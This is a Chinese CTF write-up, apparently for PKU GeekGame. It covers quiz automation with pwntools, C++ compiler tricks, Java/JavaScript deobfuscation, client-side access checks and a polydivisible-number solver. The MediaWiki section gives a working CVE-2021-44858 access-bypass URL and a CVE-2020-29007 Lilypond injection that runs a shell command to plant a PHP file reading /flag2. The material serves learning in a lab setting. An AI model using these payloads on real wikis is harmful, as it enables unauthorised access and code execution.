只做到周三,然后因为上班咕咕了,后面的很多题有了想法也没做,随便记一下。
听说跟去年一样。
经典 Windows 符号字体,copy 出来错位两行,随便搞下就行。
1
2
|
s = """原文"""
print(''.join(map(lambda x: x[0] + x[1], zip(*s.split('\n')))))
|
问答部分,题目有 8 个,质数那个题应该需要猜一下,撞大运,所以没写。
- PKU Runner:直接 zip 或者 http://www.javadecompilers.com/apk decompile 看下 manifest 就行了。
- gStore:搜一下论文就能看到。
- ctf.世界一流大学.com:要么直接转一下(IDNA Encoding),要么直接 F12 访问一下就能看到
Host
。
- WebP:https://caniuse.com/webp。
- BV 号:都是基于 mcfx 的 writeup,抄一份或者随便找个工具。
- 电子游戏概论:看下去年题目的 server 源码就能找到。
- mac 地址:路由器因为各种原因会广播自己的 BSSID,去 https://www.wigle.net/ 搜一下,然后去地图上比划一下就有了。
然后就是经典大胖题,第一部分的输出是第二部分的输入。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
from pwn import *
import re
HOST = "prob01.geekgame.pku.edu.cn"
PORT = 10001
TOKEN = rb""
def solve(line):
if 'PKU Runner' in line:
return b'cn.edu.pku.pkurunner'
if 'gStore' in line:
return b'10.14778/2002974.2002976'
if 'ctf' in line:
return b'ctf.xn--4gqwbu44czhc7w9a66k.com'
if 'WebP' in line:
return b'65'
if 'BV1EV411s7vu' in line:
return b'418645518'
if 'd2:94:35:21:42:43' in line:
return b'80304'
mg = re.match(
r"第 [0-9] 题:在第一届 PKU GeekGame 比赛的题目《电子游戏概论》中,通过第 ([0-9]+) 级关卡需要多少金钱?",
line)
if mg:
level = int(mg.group(1))
return str(300 + int(level**1.5) * 100).encode('utf8')
return ''
if __name__ == "__main__":
r = connect(HOST, PORT)
r.sendlineafter(b"Please input your token: ", TOKEN, 1)
r.sendlineafter(b"> ", "急急急".encode('utf8'))
print('[+] Got connection.')
for idx in range(7):
prob = r.recvline_startswith(
'第'.encode('utf8')).decode('utf8').strip('\n')
ans = solve(prob)
if len(ans) == 0:
print('[!] Invalid problem.')
print(f'[!] Problem: {prob}')
exit(0)
r.sendlineafter(b"> ", ans)
line = r.recvline()
if line.decode('utf8').strip('\n') != "鉴定为:答案正确。":
print('[!] Fatal!')
print(f'[!] Problem: {prob}')
print(f'[!] Answer: {ans.decode("utf8")}')
print(f'[!] Predict: {line.decode("utf8")}')
exit(0)
print(f'[+] Problem {idx+1}: success.')
print(f'[+] All done!')
print(f'[+] Remain: {r.recvall().decode("utf8")}')
|
搞个栈上数组就行了,记得确保初始化,不然可能会有优化 trick。
一开始我搞了个 main[-1u]{1}
,结果太大了被拒绝编译了。
1
2
3
|
long long array[2000000]{1};
int main() { return 0; }
//EOF
|
经典 Codegolf。
1
2
3
|
#include __FILE__
#include __FILE__
//EOF
|
找个 Bug 或者 CVE 就可以了。我找到的是这个。
1
2
3
|
void operator""_x(const char *, unsigned long);
static_assert(false, "foo"_x);
//EOF
|
Flag 被 Rot13 过,reverse 回去然后 base64 解一下就行。
审计代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
// codes...
ScriptEngineManager var2 = new ScriptEngineManager();
ScriptEngine var3 = var2.getEngineByName("nashorn");
try {
String var4 = "";
StringBuilder var8 = new StringBuilder();
for(int var9 = 0; var9 < var4.length(); ++var9) {
var8.append((char)(var4.charAt(var9) ^ 239));
}
var3.eval(var8.toString());
}
// codes...
else {
Object var6 = this.invocable.invokeFunction(var1.getSource() == this.button2 ? "checkflag2" : "checkflag3", new Object[]{this.textField1.getText()});
}
// codes...
|
搜索得知 nashorn
是个 js 脚本引擎,逻辑把输入喂进 var4
处理之后的脚本,然后调用 checkflag2
。
处理完的 js 被混淆过,拖进 de4js 自动解不了,手修了一下。
1
2
3
|
function checkflag2(input) {
return (JSON.stringify(input.split('').map(function (x) { return x.charCodeAt(0) })) == JSON.stringify([0, 15, 16, 17, 30, 105, 16, 31, 16, 67, 3, 33, 5, 60, 4, 106, 6, 41, 0, 1, 67, 3, 16, 4, 6, 33, 232].map(function (x) { return (checkflag2 + '').charAt(x) })) ? 'Correct' : 'Wrong')
}
|
最后把原始函数对应位置的字符抽出来 join 一下就是 flag。
进去随便玩一下,发现几个空白单元格的文字会一闪而过,所以猜测是 client 侧的权限验证。
用 Burpsuite 或者 Chrome Devtools 直接跟一下请求,搜索 机密
,发现核心 api 是 /dop-api/opendoc
和 /dop-api/get/sheet
。分析下包结构就能拼出来链接了。
第二部分跟第一部分原理一样,从搜出来的请求里面正确找到构成 flag 图形的请求,想办法可视化一下就行,我的搞法是导出到了一个 CSV。
先看版本,1.34.4 发布在 2020,意味着可能会有很多漏洞可以抓。随便搜了下发现 CVE-2021-44858,直接越权访问文档,查看首页版本 2 就行。
1
|
https://prob07-<env>.geekgame.pku.edu.cn/index.php?title=%E9%A6%96%E9%A1%B5&action=mcrundo&undo=1&undoafter=2
|
登录进去先随便玩下,没啥东西。重新看版本,发现有个很刻意的扩展 Lilypond,直接搜一下就找到 CVE-2020-29007 和对应的讨论地址。读一下,然后 fuzz 一下就行。我的搞法是新建一个 test.php
,直接 include flag2 文件,然后访问一下就有了。
1
2
3
4
5
|
<score>\new Staff <<{c^#
(object->string (system "echo \"<?php echo file_get_contents('/flag2') ?>\" > /var/www/html/test.php"))
}>></score>
|
一开始看了十分钟后端,发现咋没前端代码,然后想起来应该 F12 的。
审计一下前端:
1
2
3
|
if (localStorage.getItem('i_am_premium_user') === 'true') {
import('./main-premium.js')
}
|
localStorage
随便改的,改了刷新一下就能看到 Flag。
搜了下为什么这个数很特殊,发现是一个 Polydivisiable Number,然后审计了一下代码,找一个 16 进制的 Polydivisiable Number。
先尝试按大端序拆一下需要异或这个数,发现最终的 byte 长度应该是 24,然后前面四个 byte 已经是 flag
了,那应该是后面 20 位,由于 xor 的关系,按 byte 分块之后各块没有关联,直接逐个块搜索一下就行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
from string import printable
B = 2511413510786744827187994827731403682185299073590935188882
def hl(num: int) -> int:
return len(hex(num)) - 2
def gl(num: int) -> int:
return (B >> ((hl(B) - hl(num)) * 4)) ^ num
def verify(num: int) -> bool:
l = hl(num)
for i in range(1, l + 1):
if (num >> ((l - i) * 4)) % i > 0:
return False
return True
def dfs(cur):
if hl(cur) == 48:
if cur % 256 == ord('}'):
return cur
for i in printable[:-6]:
nxt = (cur << 8) + ord(i)
if verify(gl(nxt)):
if (ret := dfs(nxt)) > 0:
return ret
return -1
if __name__ == "__main__":
num = 0x666c61677b # flag{
print(dfs(num).to_bytes(24, 'big'))
|